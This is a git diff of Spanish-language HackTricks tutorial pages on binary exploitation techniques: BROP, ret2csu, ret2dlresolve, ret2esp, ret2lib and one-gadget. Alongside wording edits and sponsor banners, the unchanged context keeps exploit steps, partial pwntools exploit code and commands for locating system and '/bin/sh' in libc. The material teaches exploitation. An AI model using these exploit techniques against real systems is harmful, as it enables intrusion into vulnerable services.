`'A' * desplazamiento + canary + rbp + DIRECCIÓN`
|
||||
|
||||
|
@ -75,7 +76,7 @@ Por lo tanto, es posible encontrar la tabla PLT verificando los siguientes compo
|
|||
|
||||
La función **`strcmp`** establece el registro **`rdx`** a la longitud de la cadena que se está comparando. Ten en cuenta que **`rdx`** es el **tercer argumento** y necesitamos que sea **mayor que 0** para luego usar `write` para filtrar el programa.
|
||||
|
||||
Es posible encontrar la ubicación de **`strcmp`** en la tabla PLT basándose en su comportamiento utilizando el hecho de que ahora podemos controlar los 2 primeros argumentos de las funciones:
|
||||
Es posible encontrar la ubicación de **`strcmp`** en el PLT basándose en su comportamiento utilizando el hecho de que ahora podemos controlar los 2 primeros argumentos de las funciones:
|
||||
|
||||
* strcmp(\<dirección no leída>, \<dirección no leída>) -> bloqueo
|
||||
* strcmp(\<dirección no leída>, \<dirección leída>) -> bloqueo
|
||||
|
@ -97,14 +98,14 @@ Recuerda que:
|
|||
* BROP + 0x9 apunta a **`pop RDI; ret;`**
|
||||
* PLT + 0xb apunta a una llamada a **dl\_resolve**.
|
||||
|
||||
Habiendo encontrado `strcmp`, es posible establecer **`rdx`** en un valor mayor que 0.
|
||||
Habiendo encontrado `strcmp`, es posible establecer **`rdx`** a un valor mayor que 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ten en cuenta que por lo general `rdx` ya tendrá un valor mayor que 0, por lo que este paso podría no ser necesario.
|
||||
Ten en cuenta que por lo general `rdx` ya contendrá un valor mayor que 0, por lo que este paso podría no ser necesario.
|
||||
{% endhint %}
|
||||
### 8. Encontrar Write o equivalente
|
||||
|
||||
Finalmente, se necesita un gadget que exfiltre datos para exfiltrar el binario. Y en este momento es posible **controlar 2 argumentos y establecer `rdx` mayor que 0**.
|
||||
Finalmente, se necesita un gadget que exfiltre datos para exfiltrar el binario. Y en este momento es posible **controlar 2 argumentos y establecer `rdx` mayor que 0.**
|
||||
|
||||
Hay 3 funciones comunes que podrían ser abusadas para esto:
|
||||
|
||||
|
@ -114,7 +115,7 @@ Hay 3 funciones comunes que podrían ser abusadas para esto:
|
|||
|
||||
Sin embargo, el documento original solo menciona la función **`write`**, así que hablemos de ella:
|
||||
|
||||
El problema actual es que no sabemos **dónde está la función write dentro de la PLT** y no conocemos **un número de fd para enviar los datos a nuestro socket**.
|
||||
El problema actual es que no sabemos **dónde está la función write dentro de la PLT** y no sabemos **un número de fd para enviar los datos a nuestro socket**.
|
||||
|
||||
Sin embargo, sabemos **dónde está la tabla PLT** y es posible encontrar write basado en su **comportamiento**. Y podemos crear **varias conexiones** con el servidor y usar un **FD alto** esperando que coincida con algunas de nuestras conexiones.
|
||||
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ret2csu
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
|
@ -47,7 +48,7 @@ mov rsi, r14;
|
|||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
2. Tal vez no conozcas ninguna dirección para escribir allí y **necesites una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero deberás cumplir con algunas **condiciones** para poder alcanzarlo:
|
||||
2. Quizás no conozcas ninguna dirección para escribir allí y **necesites una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero deberás cumplir algunas **condiciones** para poder alcanzarlo:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -61,7 +62,7 @@ ret
|
|||
```
|
||||
Las condiciones serán:
|
||||
|
||||
* `[r12 + rbx*8]` debe apuntar a una dirección que almacene una función callable (si no hay idea y no hay pie, simplemente puedes usar la función `_init`):
|
||||
* `[r12 + rbx*8]` debe apuntar a una dirección que almacene una función callable (si no tienes idea y no hay PIE, puedes usar la función `_init`):
|
||||
* Si \_init está en `0x400560`, usa GEF para buscar un puntero en la memoria hacia él y haz que `[r12 + rbx*8]` sea la dirección con el puntero a \_init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
|
@ -79,7 +80,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
Otra forma de controlar **`rdi`** y **`rsi`** desde el gadget ret2csu es accediendo a desplazamientos específicos:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Consulta esta página para más información:
|
||||
|
||||
|
@ -180,4 +181,4 @@ target.interactive()
|
|||
```
|
||||
### ¿Por qué no usar directamente libc?
|
||||
|
||||
Normalmente estos casos también son vulnerables a **ret2plt** + **ret2lib**, pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **puede que no sea posible encontrar gadgets para establecer todos estos directamente**.
|
||||
Por lo general, estos casos también son vulnerables a **ret2plt** + **ret2lib**, pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **puede que no sea posible encontrar gadgets para establecer todos estos directamente**.
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ret2dlresolve
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -22,13 +23,13 @@ La función **`_dl_runtime_resolve`** toma de la pila referencias a algunas estr
|
|||
|
||||
Por lo tanto, es posible **falsificar todas estas estructuras** para que la resolución dinámica enlazada resuelva el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**).
|
||||
|
||||
Por lo general, todas estas estructuras se falsifican creando una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, teniendo así que **resolver la dirección de `system`** en las estructuras falsas y **llamar a esta dirección** con la dirección de `$'/bin/sh'`.
|
||||
Por lo general, todas estas estructuras se falsifican creando una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego se pasan las **estructuras** y la cadena **`'/bin/sh'`** para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, teniendo así que **resolver la dirección de `system`** en las estructuras falsas y **llamar a esta dirección** con la dirección de `$'/bin/sh'`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Esta técnica es especialmente útil si no hay gadgets de llamada al sistema (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) y no hay formas de filtrar direcciones de libc.
|
||||
{% endhint %}
|
||||
|
||||
Checa este video para una buena explicación sobre esta técnica en la segunda mitad del video:
|
||||
Mira este video para una buena explicación sobre esta técnica en la segunda mitad del video:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
|
@ -42,10 +43,10 @@ O consulta estas páginas para una explicación paso a paso:
|
|||
1. Escribir estructuras falsas en algún lugar
|
||||
2. Establecer el primer argumento de system (`$rdi = &'/bin/sh'`)
|
||||
3. Establecer en la pila las direcciones a las estructuras para llamar a **`_dl_runtime_resolve`**
|
||||
4. **Llamar** a `_dl_runtime_resolve`
|
||||
4. Llamar a **`_dl_runtime_resolve`**
|
||||
5. **`system`** será resuelto y llamado con `'/bin/sh'` como argumento
|
||||
|
||||
Desde la [**documentación de pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), así es como se ve un ataque de **`ret2dlresolve`**:
|
||||
Según la [**documentación de pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), así es como se ve un ataque de **`ret2dlresolve`**:
|
||||
```python
|
||||
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
>>> rop = ROP(elf)
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Ret2esp / Ret2reg
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**Debido a que el ESP (Puntero de Pila) siempre apunta a la cima de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode.
|
||||
|
||||
Si **la Aleatorización del Espacio de Direcciones (ASLR)** no está habilitada en Windows o Linux, es posible utilizar las instrucciones `jmp esp` o `call esp` encontradas en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) activo, es posible que sea necesario buscar estas instrucciones dentro del programa vulnerable mismo (y es posible que necesites vencer a [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
Si **la Aleatorización del Espacio de Direcciones (ASLR)** no está habilitada en Windows o Linux, es posible utilizar las instrucciones `jmp esp` o `call esp` encontradas en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) activo, es posible que sea necesario buscar estas instrucciones dentro del programa vulnerable mismo (y es posible que necesites vencer [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
|
||||
Además, poder colocar el shellcode **después de la corrupción de EIP**, en lugar de en medio de la pila, asegura que cualquier instrucción `push` o `pop` ejecutada durante la operación de la función no interfiera con el shellcode. Esta interferencia podría ocurrir si el shellcode se colocara en medio de la pila de la función.
|
||||
|
||||
|
@ -114,7 +115,7 @@ done
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Los únicos que descubrí cambiarían el valor del registro donde se copió sp antes de saltar a él (por lo que se volvería inútil):
|
||||
Las únicas que descubrí cambiarían el valor del registro donde se copió sp antes de saltar a él (por lo que se volvería inútil):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -161,7 +162,7 @@ También es posible encontrar el gadget **`br x0`** en la función **`do_stuff`*
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Utilizaremos ese gadget para saltar a él porque el binario está compilado **SIN PIE.** Usando un patrón es posible ver que el **desplazamiento del desbordamiento de buffer es 80**, por lo que el exploit sería:
|
||||
Utilizaremos ese gadget para saltar a él porque el binario se compila **SIN PIE.** Usando un patrón es posible ver que el **desplazamiento del desbordamiento de buffer es 80**, por lo que el exploit sería:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -191,16 +192,17 @@ Con `fgets` no funciona porque **añade un byte nulo (0x00) al final**.
|
|||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ret2lib
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Información Básica**
|
||||
|
||||
|
@ -37,17 +38,17 @@ Si deseas verificar si ASLR está cambiando la dirección de libc, puedes hacer
|
|||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```
|
||||
* Conocer la libc utilizada también es posible encontrar el desplazamiento a la función `system` con:
|
||||
* Conociendo la libc utilizada también es posible encontrar el desplazamiento a la función `system` con:
|
||||
```bash
|
||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||
```
|
||||
* Saber la libc utilizada también es posible encontrar el desplazamiento a la función de la cadena `/bin/sh` con:
|
||||
* Conocer la libc utilizada también es posible encontrar el desplazamiento a la función de la cadena `/bin/sh` con:
|
||||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
### Usando gdb-peda / GEF
|
||||
|
||||
Conociendo la libc utilizada, también es posible usar Peda o GEF para obtener la dirección de la función **system**, de la función **exit** y de la cadena **`/bin/sh`**:
|
||||
Conociendo la libc utilizada, también es posible usar Peda o GEF para obtener la dirección de la función **system**, de la función **exit** y de la cadena **`/bin/sh`** :
|
||||
```bash
|
||||
p system
|
||||
p exit
|
||||
|
@ -65,7 +66,7 @@ En este caso se carga en **0xb75dc000** (Esta será la dirección base de la lib
|
|||
|
||||
## Librería libc desconocida
|
||||
|
||||
Puede ser posible que **no sepas qué libc está cargando** el binario (porque podría estar ubicado en un servidor al que no tienes acceso). En ese caso podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué librería libc** se está utilizando:
|
||||
Podría ser posible que **no sepas qué libc está cargando** el binario (porque podría estar ubicado en un servidor al que no tienes acceso). En ese caso podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué librería libc** se está utilizando:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-address/" %}
|
||||
[rop-leaking-libc-address](rop-leaking-libc-address/)
|
||||
|
@ -99,7 +100,7 @@ Ejecuta una shell saltando a **una** dirección específica en **libc**:
|
|||
[one-gadget.md](one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Ejemplo de Código Ret2lib x86
|
||||
## Ejemplo de Código x86 Ret2lib
|
||||
|
||||
En este ejemplo, la fuerza bruta de ASLR está integrada en el código y el binario vulnerable está ubicado en un servidor remoto:
|
||||
```python
|
||||
|
@ -127,7 +128,7 @@ Ver el ejemplo en:
|
|||
|
||||
## Ejemplo de ARM64 Ret2lib
|
||||
|
||||
En el caso de ARM64, la instrucción ret salta a donde apunte el registro x30 y no a donde apunte el registro de la pila. Por lo tanto, es un poco más complicado.
|
||||
En el caso de ARM64, la instrucción ret salta a donde apunta el registro x30 y no a donde apunta el registro de la pila. Por lo tanto, es un poco más complicado.
|
||||
|
||||
Además, en ARM64 una instrucción hace lo que la instrucción hace (no es posible saltar en medio de instrucciones y transformarlas en nuevas).
|
||||
|
||||
|
@ -139,11 +140,11 @@ Ver el ejemplo en:
|
|||
|
||||
## Ret-into-printf (o puts)
|
||||
|
||||
Esto permite **filtrar información del proceso** llamando a `printf`/`puts` con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de `puts` en la GOT en una ejecución de `puts` permitirá **filtrar la dirección de `puts` en memoria**.
|
||||
Esto permite **filtrar información del proceso** llamando a `printf`/`puts` con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de `puts` en la GOT en una ejecución de `puts` permitirá **filtrar la dirección de `puts` en la memoria**.
|
||||
|
||||
## Ret2printf
|
||||
|
||||
Básicamente significa abusar de un **Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de `printf`** utilizando el `ret2lib` para llamar a printf con los valores para explotarlo (suena inútil pero es posible):
|
||||
Esto básicamente significa abusar de un **Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de `printf`** utilizando el `ret2lib` para llamar a printf con los valores para explotarlo (suena inútil pero es posible):
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
|
@ -154,7 +155,7 @@ Básicamente significa abusar de un **Ret2lib para transformarlo en una vulnerab
|
|||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
* Ret2lib, dado un leak a la dirección de una función en libc, utilizando un gadget
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 bits, ASLR habilitado pero no PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canary para luego llamar a puts y filtrarlo. Con el canary se crea un gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y un gadget ROP para llamar a `system('/bin/sh')`
|
||||
* 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canary para luego llamar a puts y filtrarlo. Con el canary se crea un gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y un gadget ROP para llamar a `system('/bin/sh')`
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64 bits, ASLR habilitado, sin canary, desbordamiento de pila en main desde una función secundaria. Gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y luego llamar a un gadget.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
# One Gadget
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
